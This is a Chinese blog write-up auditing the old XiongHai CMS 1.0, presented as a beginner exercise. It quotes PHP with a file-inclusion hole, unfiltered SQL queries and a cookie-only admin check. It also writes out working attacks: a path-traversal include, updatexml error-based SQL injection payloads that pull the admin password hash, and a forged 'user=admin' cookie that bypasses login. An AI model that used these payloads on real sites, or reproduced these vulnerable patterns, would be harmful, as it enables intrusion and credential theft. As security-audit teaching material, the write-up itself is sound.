熊海CMS_1.0 代码审计
熊海是一款小型的內(nèi)容管理系統(tǒng),1.0版本是多年前的版本了,所以漏洞還是比較多的,而且審計起來難度不大,非常適合入門,所以今天我進(jìn)行這款cms的代碼審計。程序安裝后使用seay源代碼審計系統(tǒng)打開,首先使用自動審計。
可以看到,seay源代碼審計工具還是審出了非常多的可疑漏洞的,但是這款工具還是有一定的誤報率的。我們需要做的就是可疑漏洞的檢查。
0x01 /index.php 的文件包含
我們首先檢查第一個可疑漏洞,打開/index.php文件:
1 <?php
2 //單一入口模式
3 error_reporting(0); //關(guān)閉錯誤顯示
4 $file=addslashes($_GET['r']); //接收文件名
5 $action=$file==''?'index':$file; //判斷為空或者等于index
6 include('files/'.$action.'.php'); //載入相應(yīng)文件
7 ?>
在第6行,我們可以發(fā)現(xiàn)這里存在一個非常明顯的文件包含漏洞,參數(shù)r沒有經(jīng)過任何過濾直接被include包含。我們在根目錄下創(chuàng)建phpinfo.php文件,內(nèi)容為<?php phpinfo(); ?>,在url里提交?r=../phpinfo,程序添加.php后綴名后產(chǎn)生了文件包含。
/admin/index.php也同理存在文件包含漏洞。
0x02 /admin/files/login.php SQL注入
后面的這些漏洞暫時不看,對一個網(wǎng)站來說,后臺登陸的安全性需求最高,我們直接來看登陸頁面的代碼:
1 <?php
2 ob_start();
3 require '../inc/conn.php';
4 $login=$_POST['login'];
5 $user=$_POST['user'];
6 $password=$_POST['password'];
7 $checkbox=$_POST['checkbox'];
8
9 if ($login<>""){
10 $query = "SELECT * FROM manage WHERE user='$user'";
11 $result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
12 $users = mysql_fetch_array($result);
13
14 if (!mysql_num_rows($result)) {
15 echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤。');history.back();</Script>";
16 exit;
17 }else{
18 $passwords=$users['password'];
19 if(md5($password)<>$passwords){
20 echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤。');history.back();</Script>";
21 exit;
22 }
23 //寫入登錄信息并記住30天
24 if ($checkbox==1){
25 setcookie('user',$user,time()+3600*24*30,'/');
26 }else{
27 setcookie('user',$user,0,'/');
28 }
29 echo "<script>this.location='?r=index'</script>";
30 exit;
31 }
32 exit;
33 ob_end_flush();
34 }
35 ?>
一段賞心悅目的漏洞,如果所有的網(wǎng)站都這樣就不會陷入日站日不動,審計沒思路的尷尬局面了。簡單看了一眼代碼后,企圖直接萬能密碼登陸,登陸的時候發(fā)現(xiàn)可以用錯誤的用戶名和正確的密碼登陸,如果密碼不正確還是不能登陸。黑盒測試失敗,繼續(xù)回來看代碼吧...
首先程序用post方式接收我們傳遞的參數(shù),然后未經(jīng)任何過濾進(jìn)行了用戶名校驗,如果用戶名存在繼續(xù)進(jìn)行密碼校驗。問題出在代碼的第19行,這里首先將我們傳遞的password變量進(jìn)行md5散列,然后拿散列值與數(shù)據(jù)庫里面的密碼進(jìn)行核對,這也就是我們不能采用萬能密碼繞過的原因。不過問題不大這里的sql注入算是石錘了,我們可以通過報錯注入來利用這個漏洞。我們提交用戶名為:
1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #
成功報錯,我們利用返回的md5值查找對應(yīng)的密碼,結(jié)果是找不到的,仔細(xì)查看原因發(fā)現(xiàn)返回的md5值只有27位...所以我們要進(jìn)行兩次報錯注入拼接md5值,最終payload:
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) # 1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
0x03 后臺的SQL注入
成功登陸后臺之后我們再查看后臺的可疑漏洞,根據(jù)自動分析的結(jié)果,我們看到了一大堆SQL注入漏洞。一個一個點開看,非常多的變量使用了addslashes進(jìn)行過濾,這里也不存在gbk和utf-8的編碼問題,所以也不用考慮寬字節(jié)注入,基本確定屬于誤報。后面第一個真正的漏洞位于/admin/files/editlink.php,源碼如下:
1 <?php
2 require '../inc/checklogin.php';
3 require '../inc/conn.php';
4 $linklistopen='class="open"';
5 $id=$_GET['id'];
6 $query = "SELECT * FROM link WHERE id='$id'";
7 $resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
8 $link = mysql_fetch_array($resul);
9
10 $save=$_POST['save'];
11 $name=$_POST['name'];
12 $url=$_POST['url'];
13 $mail=$_POST['mail'];
14 $jieshao=$_POST['jieshao'];
15 $xs=$_POST['xs'];
16 if ($xs==""){
17 $xs=1;
18 }
19
20 if ($save==1){
21
22 if ($name==""){
23 echo "<script>alert('抱歉,鏈接名稱不能為空。');history.back()</script>";
24 exit;
25 }
26 if ($url==""){
27 echo "<script>alert('抱歉,鏈接地址不能為空。');history.back()</script>";
28 exit;
29 }
30
31 $query = "UPDATE link SET
32 name='$name',
33 url='$url',
34 mail='$mail',
35 jieshao='$jieshao',
36 xs='$xs',
37 date=now()
38 WHERE id='$id'";
39 @mysql_query($query) or die('修改錯誤:'.mysql_error());
40 echo "<script>alert('親愛的,鏈接已經(jīng)成功編輯。');location.href='?r=linklist'</script>";
41 exit;
42 }
43 ?>
非常明顯還是那個老問題,通過post提交變量,中間沒有進(jìn)行任何過濾直接查詢數(shù)據(jù)庫,繼續(xù)用剛剛的payload吧,漏洞確實存在的,而且后面還有好多處,不挨個寫了。
' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
0x04 留言板XSS
源碼審計系統(tǒng)還報了一處位于/seacmseditor/php/controller.php的XSS漏洞,但是這里在輸出到瀏覽器的時候被htmlspecialchars轉(zhuǎn)義成為了html實體,所以說這又是一個誤報。但是這套CMS還有一個影響比較嚴(yán)重的XSS沒有被掃描出,CMS的前臺留言板沒有進(jìn)行XSS過濾,后臺管理界面也沒有進(jìn)行過濾,因此產(chǎn)生了存儲型XSS,而且有針對性的攻擊管理員,屬于比較危險的一類XSS了。這里不貼代碼了。
0x05 垂直越權(quán)
自動審計結(jié)果還給出了好幾個/inc目錄下的任意文件讀取,挨個打開閱讀源碼之后并沒有發(fā)現(xiàn)這個漏洞,倒是checklogin.php存在一個垂直越權(quán)漏洞:
1 <?php
2 $user=$_COOKIE['user'];
3 if ($user==""){
4 header("Location: ?r=login");
5 exit;
6 }
7 ?>
一個判斷管理員的程序,如果COOKIE中user參數(shù)為空,那么就跳轉(zhuǎn)到登陸窗。這樣的話越權(quán)就很輕松了,我們訪問一個需要管理員權(quán)限的頁面,例如http://127.0.0.1/xhcms-1.0/admin/?r=editlink,抓包在COOKIE后面添加user=admin即可實現(xiàn)越權(quán)。
總之這款CMS對新手友好,大家也可以試著玩一下!
總結(jié)
以上是生活随笔為你收集整理的熊海CMS_1.0 代码审计的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【例9.13】庆功会
- 下一篇: 华为余承东:我喜欢做产品、不喜欢吹牛打广